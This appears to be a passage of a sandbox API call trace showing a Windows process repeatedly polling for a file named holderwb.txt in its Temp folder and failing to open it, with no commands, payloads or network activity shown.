	[0098.963] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.963] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.963] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.964] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.964] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.964] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.964] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.964] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.964] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.964] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.966] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.966] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.966] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.966] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.966] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.966] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.966] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.967] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.967] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.967] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.968] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.968] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.968] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.968] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.969] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.969] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.969] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.969] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.969] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.969] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.969] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.970] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.970] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.970] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.970] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.970] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.970] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.970] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.971] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.971] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.971] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.971] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.972] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.972] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.972] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.973] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.973] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.973] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.973] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.973] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.973] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.973] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.974] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.974] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.974] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.974] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.974] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.974] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.974] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.975] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.975] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.975] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.975] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.975] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.976] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.976] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.976] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.977] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.977] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.977] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.977] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.977] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.977] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.978] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.978] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.978] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.978] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
